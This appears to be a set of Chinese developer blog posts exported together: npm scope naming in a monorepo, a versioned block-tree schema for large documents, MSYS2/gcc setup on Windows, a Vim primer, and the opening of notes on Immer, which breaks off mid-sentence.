如果你不在意 scope 名字：那就直接用 `@yumengjh/utils` 最省事：这里跟“项目名 notespace”没强绑定关系：项目叫 notespace ≠ npm scope 自动叫 notespace。

## 包名与发布关系

在一个 Monorepo 项目里，至少会同时存在三种“名字”，**它们彼此独立**：

1️⃣ 仓库根目录的 `package.json name`

* 这是**项目名 / 仓库名**
* 只用于：标识这个仓库，工具显示（pnpm、turbo、IDE）
* **不会决定 npm 发布名**
* **不会自动变成 npm scope**

项目叫 `notespace` ≠ npm 上自动有 `@notespace/*`

2️⃣ 子包的 `package.json name`（真正的 npm 包名）

* 这个 name 才是 npm 上发布的真实包名
* publish 时：发布的就是这个名字，不能在命令行“指定发布成另一个名字”
* npm 发布名 **100% 由子包的 `name` 字段决定**

3️⃣ npm 账号名 / organization 名

* npm 上存在两类 scope：
  * **用户 scope**：`@用户名/*`
  * **组织 scope**：`@组织名/*`

要发布 `@scope/pkg`，必须满足：

* npm 上存在这个 `scope`
* 你对它有 publish 权限

---

---
url: /posts/hcwgoxrk/index.md
---
# 大文档系统设计
## 数据模型

### documents：文档“元信息”结构

```json
// documents
{
  _id: docId,                 // 建议 ULID/UUID
  workspaceId,                // 知识库/空间
  title,
  slug,                       // URL 友好
  status: "draft" | "normal" | "archived",
  createdAt,
  createdBy,                  // 文档创建者 userId
  updatedAt,
  updatedBy,

  // 版本指针
  head: 128,                  // 当前最新 docVer（编辑态）
  publishedHead: 100,         // 已发布版本
  // 也可以做 branches：draftHead/publishedHead

  // 根节点（可选，但我强烈建议有）
  rootBlockId,                // 整个文档的虚拟根容器（结构树的根）

  // 统计/派生字段（可选）
  blockCount,
  wordCount,

  // 权限、协作（可选）
  aclId,
  visibility: "private"|"workspace"|"public",

  // 扩展字段（封面、icon、目录归属等）
  coverAssetId,
  icon,
  folderId,
  tags: []
}
```

**关键点：**

* `documents` 不存全文内容（否则 16MB 和并发更新会折磨你）
* 文档“内容”通过 `rootBlockId` 和 `blocks` / `versions` 体系拼出来

### blocks：Block 的身份（不存版本内容）

```json
// blocks
{
  _id: blockId,
  docId,
  type: "paragraph" | "heading" | "listItem" | "code" | "image" | "table" | "quote" | "custom:xxx",
  createdAt,
  createdBy,

  latestVer: 7,               // 这个 block 当前最新版本号（只增）
  latestAt,
  latestBy,

  // 软删除（身份保留，历史可追溯）
  isDeleted: false,
  deletedAt,
  deletedBy
}
```

**为什么要有 blocks 表？**

它给你：

* block 的稳定索引（docId + type + 状态）
* 快速拿“当前版本号”（latestVer）
* 自定义类型可扩展（type 字符串命名空间）

### block\_versions：Block 的每个版本（这里是重头戏）

当**拖动导致顺序也要版本化**，解决方案是：**把结构位置信息也当成 block version 的一部分**。

也就是说：一个 block 的 version 里，不止存内容，还存它在树里的位置：

* `parentId`：父 block 是谁（根节点下就是 rootBlockId）
* `sortKey`：在同级下的顺序（支持拖动最关键）

推荐用“可插入排序键”（fractional index / LexoRank 类似思想）

拖动时只改**被移动的 block** 的 `parentId/sortKey`，而不是修改整个父节点 children 数组（避免大数组、避免 16MB 风险）。

```json
// block_versions
{
  _id: `${blockId}@${ver}`,
  blockId,
  docId,
  ver,                        // 从 1 开始递增
  createdAt,
  createdBy,                  // 这个版本的作者（谁编辑/移动的）

  // 结构位置信息 —— 用它解决“拖动/顺序版本”
  parentId,                   // 父 blockId（一般 rootBlockId 为顶级父）
  sortKey,                    // 同级排序键（字符串/可比较）
  // 可选：缩进层级、折叠状态等也属于结构态
  indent: 0,
  collapsed: false,

  // 版本内容（payload）
  payload: {
    // 通用属性
    attrs: {},

    // 文本类 block（Markdown+）
    richText: {
      format: "md+",          // 你说的 markdown+
      source: "## 标题\n这是一段...",  // canonical 存 markdown+ 源
      // 可选：缓存解析后的 AST/PM JSON（渲染/编辑更快）
      ast: {...}              // 非必须，可按需缓存
    },

    // 资源类 block
    assetId,                  // image/file 等

    // 表格类 block
    table: {...},             // 结构化数据

    // 自定义 block
    custom: {...}             // 任意 JSON（由 registry 校验）
  },

  // 加速与审计
  hash: "sha256(payload+parentId+sortKey+...)",  // 用于判断是否真的变化
  plainText: "标题 这是一段",                    // 用于搜索、diff、摘要
  refs: [
    { kind: "asset", id: "assetId1" },
    { kind: "doc", id: "docId2" }
  ],

  // 可选：字段级变更标签（方便 UI）
  changeHint: {
    moved: true,
    contentChanged: false
  }
}
```

这一招直接解决你提到的所有痛点：

* “block 有的只有一个版本”：因为它从来没被编辑/移动过，它永远停留在 ver=1
* “block 有好多版本”：每次编辑/拖动/缩进都会产生新 ver
* “拖动导致顺序也有版本”：排序信息就在版本里
* “最终把 block 串起来渲染”：按 docVer 得到每个 block 的版本 → 用 parentId+sortKey 组装树 → 渲染

这比“父节点 children 数组版本化”更适合**超大文档**。

### doc\_revisions：文档版本（一次保存 = 一个 docVer）

文档版本不是保存全文，而是记录“这次保存影响了哪些 block，从哪个版本到哪个版本”。

```json
// doc_revisions
{
  _id: `${docId}@${docVer}`,
  docId,
  docVer,
  createdAt,
  createdBy,
  message: "自动保存" | "手动保存" | "发布" | "导入",

  // 这次保存，哪些 block 的版本发生变化
  patches: [
    { blockId: "b1", from: 3, to: 4 },
    { blockId: "b9", from: 1, to: 2 }
  ],

  // 方便定位根
  rootBlockId,

  // 可选：保存原因/操作来源（拖动、输入、粘贴）
  source: "editor" | "api",
  opSummary: { moved: 2, edited: 5, inserted: 1, deleted: 0 },

  // 可选：分支/发布体系
  branch: "draft" | "published"
}
```

### doc\_snapshots：快照（用来加速恢复“任意 docVer 的 block 版本映射”）

要渲染某个 docVer，你需要一个东西：

**blockVersionMap：在 docVer=X 时，每个 blockId 对应哪个 blockVer**

你不能每个 docVer 都存全量 map（会爆），所以要：

* revisions 存 patch（增量）
* snapshots 每隔 N 次存一次“基线 map”

**最简单版快照**（适合中大型文档）

```js
// doc_snapshots
{
  _id: `${docId}@snap@${docVer}`,
  docId,
  docVer,
  createdAt,
  rootBlockId,

  // 关键：在这个 docVer 时刻，所有 block 的版本号
  blockVersionMap: {
    "root": 12,
    "b1": 4,
    "b2": 1,
    "b3": 7
  }
}
```

**超大文档注意：Mongo 单文档 16MB 限制**

如果你预期一个 doc 可能 50k/100k blocks，`blockVersionMap` 可能会逼近/超过 16MB。
那就用“分片快照”：

```json
// doc_snapshots
{
  _id: snapId,
  docId,
  docVer,
  createdAt,
  rootBlockId,
  chunkCount: 12
}

// doc_snapshot_chunks
{
  _id: `${snapId}@${idx}`,
  snapId,
  idx,
  entries: [
    { blockId: "b1", ver: 4 },
    { blockId: "b2", ver: 1 }
  ]
}
```

### assets：附件（图片/文件）

```json
// assets
{
  _id: assetId,
  workspaceId,
  createdAt,
  createdBy,

  kind: "image" | "file" | "video",
  filename,
  mime,
  size,

  // 存储位置
  storage: {
    provider: "s3" | "oss" | "local",
    key: "path/to/object",
    url: "..."                // 可选（如果是私有，通常不直接存 url）
  },

  // 可选：图片宽高、hash、缩略图
  meta: { width, height, sha256 }
}
```

### 把各种 block 串起来渲染为文档”的标准流程

渲染需要的输入只有两个：

1. **在 docVer=X 时的 blockVersionMap**（每个 block 用哪个版本）
2. **这些 block\_versions 的 parentId/sortKey + payload**

#### 渲染步骤（docVer=X）：

1. 找最近的 snapshot（≤X），拿到 baseMap
2. 把 snapshot.docVer+1..X 的 doc\_revisions 的 patches 依次 apply 到 map
3. 得到最终 `blockVersionMap`
4. 批量读取这些 block\_versions（至少读取你要渲染范围内的）
5. 用 `parentId` 把 blocks 分组，用 `sortKey` 排序，构建树
6. 从 `rootBlockId` 开始递归渲染（不同 type 对应不同 renderer）

这一步不需要任何“特殊处理复用”。map 指到哪个版本就是哪个版本，没改的自然还是旧 ver。

### 拖动 block / 缩进 / 移动到别的父级”怎么写入？

举例：把 block `b9` 从 root 下移动到 `b3`（某个容器/列表）下，并插到中间：

你只需要：

* 新增一个 `b9@ver+1`：更新 `parentId=b3`，`sortKey=介于前后两个之间`
* 写一条 `doc_revision` patches：`{blockId:b9, from:oldVer, to:newVer}`

**只有 b9 变了**，不是整个文档结构变了。

这就是这个模型对“大文档拖动”特别友好的原因。

### Block 对比（diff）怎么做才不爆炸？

你要分三层做，才会“又快又准确”：

#### Layer A：先判断版本号是否相同

* 同一个 docVer 对比另一个 docVer
* 直接看 `blockVersionMap[blockId]`：
  * 相同 → 无变化
  * 不同 → 才进入下一层

#### Layer B：区分“移动变化”还是“内容变化”

比较两个版本的：

* `parentId / sortKey / indent` → 结构变化（移动/拖动/缩进）
* `payload.hash` 或 `hash` → 内容变化

这样你可以在 UI 上非常清晰地显示：

* “这一段被移动到了某处”
* “这一段内容被修改了”

#### Layer C：内容 diff（按类型）

* 文本块：对 `plainText` 做 diff（diff-match-patch / Myers）用于展示
* 代码块：按行 diff 更友好
* 表格块：按单元格 diff
* 自定义块：由 block 类型自己提供 `diff(payloadA, payloadB)`（这就是 registry 的价值）

存储层不建议存 patch（除非你极端追求空间），展示层算 diff 就行。

### Markdown+ & 自定义 Block 类型：怎么设计才可持续？

要提前定一个“协议”，让未来新增 block 类型不至于改数据库结构。

### 建议：所有 block\_versions.payload 遵循统一外壳

```json
payload: {
  schema: { type: "paragraph", ver: 1 },   // 类型 & schema 版本
  attrs: {...},                            // 通用属性
  body: {...}                              // 类型私有内容
}
```

比如：

paragraph：

```json
body: { richText: { format:"md+", source:"..." } }
```

image：

```json
body: { assetId:"...", caption:{...} }
```

custom:chart：

```json
body: { spec:{...}, dataRef:"..." }
```

未来你改 schema，就 bump `schema.ver`，读的时候做 migration。

### 作者/创建者到底记录在哪里才“可追溯”？

“文档作者、小 block 作者、block 版本作者”——这套模型天然支持：

* 文档作者：`documents.createdBy`
* block 创建者：`blocks.createdBy`
* block 每个版本作者：`block_versions.createdBy`
* doc 每个版本作者：`doc_revisions.createdBy`

你甚至可以很容易做：

* “贡献者列表”：统计 doc\_revisions.createdBy / block\_versions.createdBy
* “某段是谁改的”：看这个 block 当前版本是谁写的，追溯版本链即可

### 建议的索引

#### blocks

* `{ docId: 1 }`
* `{ docId: 1, type: 1 }`
* `{ docId: 1, isDeleted: 1 }`

#### block\_versions

* 唯一：`{ blockId: 1, ver: 1 }`
* 查询当前 doc 下某批 block 的某些 ver：`{ docId: 1, blockId: 1, ver: 1 }`
* 组树用：`{ docId: 1, parentId: 1, sortKey: 1, ver: 1 }`（按你的查询方式调整）

#### doc\_revisions

* 唯一：`{ docId: 1, docVer: 1 }`
* `{ docId: 1, createdAt: -1 }`

#### doc\_snapshots

* `{ docId: 1, docVer: -1 }`

## 结构解读

大文档本质不是“一个长字符串”，而是一棵树：

* 文档的根节点叫 `rootBlock`
* root 下面挂一堆内容块：段落、标题、列表项、图片……
* 有些块还能作为容器，再挂子块（比如列表、引用、折叠块、表格）

**Document = 元信息 + 指向 rootBlock 的指针**

**Block = 树中的一个节点**

`documents` 表只存：**这篇文档是谁、叫什么、现在最新版本是多少、根块是谁**

它不存全文内容。

最小字段可以这么设计：

```js
// documents
{
  _id: "doc_1",             // 文档 ID
  title: "我的第一篇文档",
  createdAt: 1700000000,
  createdBy: "u_1",

  updatedAt: 1700001000,
  updatedBy: "u_2",

  head: 12,                 // 文档级别版本号（docVer）
  rootBlockId: "root_doc_1" // 这篇文档的根块
}
```

你把它理解成：documents 是“文件夹里的文件信息”，rootBlockId 是“文件内容从哪里开始”。

blocks 表存的是 **Block 的“身份信息”**：它属于哪个文档、是什么类型、谁创建的、当前最新版本是多少。

它也不存具体内容（内容在 block\_versions 里）。

最小 blocks 长这样：

```js
// blocks
{
  _id: "b_1",
  docId: "doc_1",         // 关联到 documents._id
  type: "paragraph",      // block 的类型
  createdAt: 1700000001,
  createdBy: "u_1",

  latestVer: 3,           // 这个 block 最新版本号
  latestAt: 1700001000,
  latestBy: "u_2",

  isDeleted: false
}
```

你把它理解成：blocks 是“文档里每个块的目录索引”，告诉你文档里有哪些 block 以及每个 block 是啥类型。

**documents 与 blocks 的关联方式：靠 docId + rootBlockId**

**关联 1：docId（最重要的外键）**

blocks.docId = documents.\_id

这就是“这个 block 属于哪篇文档”。

**关联 2：rootBlockId（定义文档的结构树根）**

* documents.rootBlockId 是 root block 的 blockId
* 这个 root block 本身也会存在 blocks 表里：

```json
// blocks 中的一条记录
{
  _id: "root_doc_1",
  docId: "doc_1",
  type: "root",
  ...
}
```

但是仅靠 documents + blocks，还不知道文档内容顺序啊？

blocks 表只是列了有哪些 block，但没告诉你它们的顺序/层级关系。

所以你必须有一种办法表示结构：

**结构（顺序/父子关系）不放在 blocks 里，而放在 block\_versions 里。**（因为结构会变化，需要版本）

文档的结构关系在 block\_versions 的 parentId 和 sortKey **字段里**

每一个 block\_version（每个版本）都会存：

* parentId：它属于哪个父 block
* sortKey：它在兄弟中的顺序

这就是文档的结构本体。

比如：

```js
// block_versions
{
  blockId: "b_1",
  ver: 1,
  parentId: "root_doc_1",
  sortKey: "M",
  payload: { ...段落内容... }
}
```

表示：b\_1 是 root\_doc\_1 的一个子节点，它在这个父节点下排序是 "M"

**完整极简例子**

假设你有一个文档 doc\_1：

```markdown
标题：Hello
段落：第一段
段落：第二段
```

documents 表

```js
{
  _id: "doc_1",
  title: "Demo 文档",
  rootBlockId: "root_doc_1",
  head: 1
}
```

blocks 表（有 3 个 block + 1 个 root）

```js
[
  { _id: "root_doc_1", docId: "doc_1", type: "root", latestVer: 1 },
  { _id: "b_title", docId: "doc_1", type: "heading", latestVer: 1 },
  { _id: "b_p1", docId: "doc_1", type: "paragraph", latestVer: 1 },
  { _id: "b_p2", docId: "doc_1", type: "paragraph", latestVer: 1 }
]
```

block\_versions 表（这里决定了结构 + 内容）

```js
[
  // root 自己的位置（root 的 parentId 设成自己即可）
  { blockId: "root_doc_1", ver: 1, parentId: "root_doc_1", sortKey: "U", payload: {} },

  // 标题
  {
    blockId: "b_title", ver: 1,
    parentId: "root_doc_1", sortKey: "M",
    payload: { body: { richText: { source: "Hello" } } }
  },

  // 第一段
  {
    blockId: "b_p1", ver: 1,
    parentId: "root_doc_1", sortKey: "T",
    payload: { body: { richText: { source: "第一段" } } }
  },

  // 第二段
  {
    blockId: "b_p2", ver: 1,
    parentId: "root_doc_1", sortKey: "Z",
    payload: { body: { richText: { source: "第二段" } } }
  }
]
```

**文档内容是**：

1. 从 documents.rootBlockId 得到 root blockId
2. 找到所有 block\_versions（当前 docVer 下对应的版本）
3. 筛选 parentId=rootBlockId 的那些 block
4. 按 sortKey 排序
5. 渲染这些 block 的 payload

可以把 doc\_revisions 理解成：\*\*文档的提交记录表（commit log）\*\*每一次保存（自动保存/手动保存/发布/粘贴/拖动）都会新增一条 doc\_revision。

它不是“**完整文档内容**”，它是“**这次变化的摘要**”。

**doc\_revisions 的最小结构**

```js
// doc_revisions
{
  _id: "doc_1@5",     // docId@docVer
  docId: "doc_1",
  docVer: 5,          // 文档版本号（递增）

  createdAt: ...,
  createdBy: "u_2",

  message: "拖动段落",
  patches: [
    { blockId: "b_9", from: 1, to: 2 },     // b_9 的 blockVer 从 1 变 2
    { blockId: "b_11", from: 3, to: 4 },    // b_11 内容也改了
  ],

  rootBlockId: "root_doc_1"
}
```

核心字段只有一个：**patches**。

关键点：

* 文档版本 docVer 并不是把所有 block 的版本都存一遍

* 而是只存这个 docVer 相比上一个 docVer 改了哪些 block

也就是说：

* docVer=5 只知道：这次变了 b\_9, b\_11
* 没写进 patches 的 block，默认沿用 docVer=4 的版本

patches 的语义就是：“把 docVer-1 的状态，apply 这些 patch，就得到 docVer 的状态”

这跟 Git commit 很像：

* commit 不存全量文件树
* commit 存 diff/变更
* 想恢复某个 commit 的文件树，需要从某个基线+apply

**非常直观的“顺序版本化”例子**

假设一开始顺序是：

```js
A
B
C
```

docVer=1 状态：

A@1 sortKey="M"

B@1 sortKey="T"

C@1 sortKey="Z"

doc\_revisions(1):

```js
patches: [
  { A: 0->1 }, { B: 0->1 }, { C: 0->1 }
]
```

现在拖动 B 到最上面（变成 B A C）

你会产生一个新版本：

B@2 sortKey="G"   (比 M 更小)

doc\_revisions(2):

```js
patches: [
  { blockId:"B", from:1, to:2 }
]
```

docVer=2 的顺序怎么恢复？

你拿到 docVer=2 下：

A -> 1

B -> 2

C -> 1

加载它们对应的 block\_versions：

* B@2 sortKey="G"
* A@1 sortKey="M"
* C@1 sortKey="Z"

按 sortKey 排序，就得到：

B A C

## 最小实现

你最终要实现的三个核心概念：

* **Document（文档元信息）**：`documents`
* **Block + BlockVersion（块身份 + 块版本内容/位置）**：`blocks` + `block_versions`
* **DocRevision + Snapshot（文档级版本历史）**：`doc_revisions` + `doc_snapshots`

然后实现这些关键 API：

文档类：

* `createDocument`
* `getDocument`
* `updateDocumentMeta`

块类：

* `createBlock`
* `updateBlockContent`
* `moveBlock`
* `deleteBlock`
* `getRenderedTree`

版本类：

* `commit`（内部）
* `getDocState(docId, docVer?)`
* `listDocVersions`
* `createSnapshot`
* `diffDocVersions`（基础版）
* `diffBlockVersions`（基础版）

***

Document（documents）

```ts
type Document = {
  id: string;
  title: string;
  createdAt: number;
  createdBy: string;
  updatedAt: number;
  updatedBy: string;

  head: number;        // docVer
  rootBlockId: string; // root block
};
```

BlockIdentity（blocks）

```ts
type Block = {
  id: string;
  docId: string;
  type: string;
  createdAt: number;
  createdBy: string;

  latestVer: number;
  latestAt: number;
  latestBy: string;

  isDeleted: boolean;
};
```

BlockVersion（block\_versions）

```ts
type BlockVersion = {
  id: string;          // blockId@ver
  docId: string;
  blockId: string;
  ver: number;

  createdAt: number;
  createdBy: string;

  parentId: string;    // structure
  sortKey: string;     // order
  indent: number;
  collapsed: boolean;

  payload: any;        // content
  plainText: string;
  hash: string;
};
```

Snapshot（doc\_snapshots）

```ts
type Snapshot = {
  id: string;
  docId: string;
  docVer: number;
  createdAt: number;

  blockVersionMap: Record<string, number>;
};
```

---

---
url: /posts/hdgif5ij/index.md
---
# MSYS2
[MSYS2](https://www.msys2.org/) Windows 软件分发与构建平台

**MSYS2 不是“一个 bash”，而是一个在 Windows 上提供类 Linux 环境 + 包管理 + 多套编译工具链的系统**。

安装后一堆五颜六色的入口（exe），其实是 **同一个 MSYS2 安装里不同的“子环境/终端配置”**。

可以把它理解成：

* **一个基础的类 Unix 环境**（提供 bash、coreutils、pacman 等）
* **一套 Windows 原生的编译工具链体系**（gcc/clang、gdb、make、各种库）
* **超好用的包管理器 pacman**（装/更新东西跟 Linux 一样爽）

它最常见目的就是：在 Windows 上舒服地装 C/C++ 工具链和库，然后编译出 **Windows 原生 .exe**。

Git Bash 本质是：为了让你在 Windows 上更方便用 git，顺带带了一个最小的 bash + 一些基础命令（ls/grep/sed…），点是 **git 体验**，不是编译器生态

MSYS2 更像：Windows 上的一套可管理的类 Linux 软件仓库 + 多工具链平台

**MSYS2：**

* 适合：装 gcc/clang/gdb、make/cmake、各种依赖库（zlib、openssl…）、开发 C/C++
* 适合：把环境固定下来，不容易乱
* `pacman -S xxx` 一条命令装全家桶

MSYS2 UCRT64：**推荐给大多数人（现代、兼容性好）**，用的是 **UCRT**（Windows 的新 C 运行库），工具链路径一般是：`...\ucrt64\bin`

MSYS2 MSYS：这是“基础 Unix 环境”本体（跑 pacman、bash、一些 Unix 工具），**不建议拿它当编译 Windows 程序的主环境**（它更多是管理/构建辅助用）

MSYS2 MINGW64：传统经典路线，也能用，只是现在很多人更推荐 UCRT64

MSYS2 CLANGARM64：Clang 工具链，目标是 **ARM64 Windows**（比如 ARM 设备/某些笔记本），普通 x64 Win10 基本用不上

MSYS2 CLANG64：Clang 工具链，目标是 **x64 Windows**，如果你更想用 clang 而不是 gcc，可以用这个

***

**gcc = GNU Compiler Collection**，最开始主要是 C 编译器

比如 `hello.c` 不能直接被电脑执行，必须先变成机器能跑的 **可执行文件 `.exe`**。

gcc 就是干这事的：**把 C 源码 → 编译/链接 → 生成 exe**。

更严谨一点，它背后其实是一套流水线：

1. **预处理**：处理 `#include`、`#define`
2. **编译**：C → 汇编
3. **汇编**：汇编 → 目标文件 `.o`
4. **链接**：把 `.o` 和库拼起来 → `.exe`

平时一句 `gcc hello.c -o hello.exe`，gcc 帮你把上面全做了。

**常用命令**：

编译一个文件

```bash
gcc hello.c -o hello.exe
```

加警告，这能提前抓出很多“隐形 bug”。

```bash
gcc -Wall -Wextra hello.c -o hello.exe
```

开调试（给 gdb / VS Code 用）

```bash
gcc -g -O0 hello.c -o hello.exe
```

`-g`：生成调试信息（断点、看变量必须）

`-O0`：关优化（新手调试更直观）

多文件编译（你以后一定会用）

假设有 `main.c` 和 `util.c`：

```bash
gcc -g -O0 -Wall -Wextra main.c util.c -o app.exe
```

## C 语言环境安装

（Windows 10 + VS Code + MSYS2 + gcc）

* **VS Code**：IDE / 编辑器（写代码、断点、UI）
* **gcc**：C 编译器（真正把 `.c` 编译成 `.exe`）
* **gdb**：调试器（断点、单步、看变量）
* **MSYS2**：
  👉 一个 **开发工具箱 + 包管理器 + 多套工具链平台**
  👉 负责安装/管理 gcc、gdb、make、库等

VS Code ≠ 编译器，gcc / gdb 才是干活的

下载并安装 MSYS2，安装路径建议（任选，避免中文/空格）：`C:\msys64`，`D:\msys64`

MSYS2 会生成多个启动入口（不是装了很多软件）：**MSYS2 UCRT64**，推荐主力（现代 Windows C 运行库）

在 UCRT64 里安装 gcc / gdb

更新系统

```bash
pacman -Syu
```

如提示重开终端 → 照做 → 再跑一次 `pacman -Syu`

安装工具链

```bash
pacman -S --needed mingw-w64-ucrt-x86_64-toolchain mingw-w64-ucrt-x86_64-gdb
```

出现：

```bash
Enter a selection (default=all):
```

直接回车

验证

```bash
which gcc
gcc --version
gdb --version
```

正常应看到：

* `/ucrt64/bin/gcc`
* gcc / gdb 版本信息

配置 Windows 环境变量 Path（关键）

把下面路径加入 **Path**（推荐：**用户变量 + 系统变量都加**）：

```
D:\msys64\ucrt64\bin
```

（按实际安装路径调整）

**不要新建自定义变量名**（比如 `msys`），**一定是加到 `Path` 里**。

修改后必须：

* 关闭所有 cmd / PowerShell / VS Code
* 重新打开

验证（在 cmd 或 PowerShell）

```bash
where gcc
gcc --version
```

在 VS Code 中安装：**C/C++**（Microsoft，`ms-vscode.cpptools`）

---

---
url: /posts/iq9wt4oq/index.md
---
Vim 是 Linux 系统下经典的文本编辑器，几乎所有 Unix/Linux 系统都能找到它。它功能强大，灵活高效，但学习曲线稍陡。本文旨在帮你快速入门 Vim，掌握日常使用的基本命令，让你逐步替代 nano 进行高效文本编辑。

## 基本概念

Vim 与传统编辑器不同，它有 **三种主要模式**：

| 模式                             | 功能                                             | 如何进入                                               | 特点                             |
| -------------------------------- | ------------------------------------------------ | ------------------------------------------------------ | -------------------------------- |
| **普通模式 (Normal)**            | 浏览文件、移动光标、删除、复制、粘贴、搜索等操作 | 启动 Vim 默认就是，或者按 `Esc` 从其他模式回到普通模式 | 按键是命令，不会直接输入字符     |
| **插入模式 (Insert)**            | 输入文本                                         | 在普通模式按 `i`/`a`/`o` 等进入                        | 按键会直接被当作文本插入到文件里 |
| **命令模式 (Command / Ex Mode)** | 保存文件、退出、替换等操作                       | 普通模式按 `:`                                         | 输入的是命令而不是文本           |

小技巧：

* 按 `Esc` 都可以回到普通模式，这是 Vim 的“安全键”。

如果你在 **插入模式**（也就是按 `i`、`a`、`o` 进入的模式）下，Vim 会把你按下的所有按键当成文本，而不是命令。这就是你看到的现象：

* 你按 `dd` → 变成打字 “dd”
* 你按 `/keyword` → 变成打字 “/keyword”

**解决办法**：

1. **按 `Esc`** 回到普通模式
2. 然后再输入命令（比如 `dd` 删除行，`:w` 保存文件）

## 快速启动 Vim

```bash
# 编辑或新建文件
vim filename.txt
```

启动后进入 **普通模式**，即可操作。

## 插入文本

| 命令 | 功能               | 说明             |
| ---- | ------------------ | ---------------- |
| `i`  | 在光标前插入       | 最常用           |
| `I`  | 在行首插入         |                  |
| `a`  | 在光标后插入       |                  |
| `A`  | 在行尾插入         |                  |
| `o`  | 在当前行下新开一行 | 自动进入插入模式 |
| `O`  | 在当前行上新开一行 | 自动进入插入模式 |

返回普通模式：按 `Esc`

## 保存与退出

| 命令          | 说明           |
| ------------- | -------------- |
| `:w`          | 保存文件       |
| `:q`          | 退出 Vim       |
| `:wq` 或 `:x` | 保存并退出     |
| `:q!`         | 不保存强制退出 |

小技巧：

* `ZZ`（大写）也可保存并退出，快捷方便。

## 文本移动与光标操作

| 命令 | 功能                   |
| ---- | ---------------------- |
| `h`  | 左移一个字符           |
| `l`  | 右移一个字符           |
| `k`  | 上移一行               |
| `j`  | 下移一行               |
| `0`  | 跳到行首               |
| `^`  | 跳到行首第一个非空字符 |
| `$`  | 跳到行尾               |
| `gg` | 跳到文件开头           |
| `G`  | 跳到文件末尾           |
| `w`  | 跳到下一个单词开头     |
| `e`  | 跳到单词末尾           |

## 删除、复制、粘贴

| 命令 | 功能                 |
| ---- | -------------------- |
| `x`  | 删除光标所在字符     |
| `dd` | 删除整行             |
| `dw` | 删除到下一个单词开头 |
| `d$` | 删除到行尾           |
| `yy` | 复制整行（Yank）     |
| `yw` | 复制到单词末尾       |
| `p`  | 粘贴到光标后         |
| `P`  | 粘贴到光标前         |

小技巧：

* Vim 的删除命令其实是复制+删除的组合，因此可以直接用 `p` 粘贴。

## 撤销与重做

| 命令       | 功能           |
| ---------- | -------------- |
| `u`        | 撤销上一次操作 |
| `Ctrl + r` | 重做撤销操作   |

## 搜索与替换

| 命令            | 功能                  |
| --------------- | --------------------- |
| `/keyword`      | 向下搜索 keyword      |
| `?keyword`      | 向上搜索 keyword      |
| `n`             | 跳到下一个匹配        |
| `N`             | 跳到上一个匹配        |
| `:%s/old/new/g` | 全文件替换 old 为 new |
| `:s/old/new/g`  | 当前行替换 old 为 new |

## 多文件编辑与分屏（进阶）

| 命令                                    | 功能          |
| --------------------------------------- | ------------- |
| `:e otherfile.txt`                      | 打开新文件    |
| `:split filename` 或 `:vsplit filename` | 水平/垂直分屏 |
| `Ctrl + w + h/j/k/l`                    | 切换分屏      |
| `:bn` / `:bp`                           |               |

## 快速练习方法

1. 打开终端输入：

```
vimtutor
```

Vim 官方自带教程，10-15 分钟即可掌握基本操作。

1. 在日常修改配置文件时刻意用 Vim 代替 nano。
2. 逐步学习更多命令和插件，比如语法高亮、自动补全。

## 解决自动缩进

当你复制的内容里带有 **换行符** 或者从外部（浏览器、编辑器、网页、PDF 等）复制的文本时。它的本质是 **Vim 对粘贴行为有“自动缩进/自动格式化”**，导致粘贴内容“压在一起”。

Vim 默认会 **自动缩进（autoindent / smartindent / smarttab）**

当你在普通模式下用 `p` 粘贴内容时，Vim 会尝试对每一行做缩进对齐

如果复制的内容已经带有缩进或换行，Vim 可能把所有行挤在一起，或者缩进不正确

### 解决方法

#### 方法 A：开启“粘贴模式”（Paste Mode）

粘贴前切换 Vim 到 **粘贴模式**，Vim 不会自动调整缩进：

```bash
:set paste
```

粘贴完之后再关闭：

```bash
:set nopaste
```

建议：可以给 `F2` 或其他按键映射一个切换快捷键：

```bash
" 在 .vimrc 里
nnoremap <F2> :set paste!<CR>
```

按 F2 就能开/关粘贴模式，非常方便。

```bash
vim ~/.vimrc
```

在 `.vimrc` 里加这几行：

```bash
" 显示当前模式
set showmode

" F2 键切换粘贴模式
nnoremap <F2> :set paste!<CR>
```

解释：

* `set showmode`：在 Vim 底部状态栏显示当前模式，方便确认是否启用了粘贴模式
* `nnoremap <F2> :set paste!<CR>`：在普通模式下按 F2 切换粘贴模式
  * 开启时不会自动缩进，粘贴内容不会压在一起
  * 再按一次关闭，恢复正常编辑模式

在 Vim 里保存退出：

```bash
:wq
```

然后重新打开 Vim 或者在当前 Vim 里执行：

```bash
:source ~/.vimrc
```

**使用方法**

1. 进入 Vim 编辑文件
2. **按 F2** 开启粘贴模式
   * 状态栏会显示 `-- INSERT (paste) --` 或类似标记
3. 粘贴内容（`p` 或 `"+p`）
4. **按 F2** 关闭粘贴模式，继续正常编辑

#### 方法 B：使用 Vim 的“块粘贴”快捷方式

* 在普通模式下用 `"+p` 粘贴系统剪贴板内容
* 结合 `:set paste` 可以保证格式不乱

例如：

```bash
:set paste
"+p
:set nopaste
```

#### 方法 C：临时使用 **插入模式 + 鼠标粘贴**

* 按 `i` 进入插入模式
* 右键或 Shift+Insert 粘贴
* 然后 Esc 回到普通模式

这种方法有时受终端和 Vim 配置影响，可能仍然会自动缩进，但简单操作可以尝试。

#### 方法 D：关闭自动缩进（不推荐长期关闭）

```
:set noautoindent
:set nosmartindent
```

关闭后粘贴不会乱，但普通写代码可能缩进会麻烦，一般只在粘贴前临时关闭。

---

---
url: /posts/ju0arxkx/index.md
---
# immer 笔记
[Immer](https://github.com/immerjs/immer) 不是“必需品”，而是“**复杂状态管理里的效率放大器**”

Redux Toolkit **内置 Immer**，大量项目“在用 Immer 但自己都没意识到”

刻意不用 Immer 可能因为：非 Proxy 环境（老浏览器、特殊 runtime）

**不是用 Immer 的人少，而是「显式使用 Immer 的人少」，大量项目是“间接、无感地”在用 Immer**。

***

[immer](https://github.com/immerjs/immer) — 底层不可变状态库

这是核心库，用来实现不可变状态更新的逻辑：

* 你写看起来像可变的代码（修改 draft），
* 底层把它转成真正的不可变更新（copy-on-write、结构共享等）

它不依赖 React，可以用于任何 JavaScript/TypeScript 项目

[use-immer](https://github.com/immerjs/use-immer) — 为 React 提供的 Hook 封装

这个库是建立在 **immer** 之上的一个 **React Hooks 工具库**。

用于像 `useState` 一样管理 state，状态更新可以传入一个 **immer producer 函数**，自动触发 React 重渲。

***

**不可变更新**是为“快速、可靠地判断『**这个对象变没变**』”发明的。

**早期前端 & 原生 JS** 的真实问题：\[“**引用不变，内部变了，但我不知道**”] `obj.a.b.c = 1`，JS 本身 **没有**对象变更事件，只能手写 `getter` / `setter`，

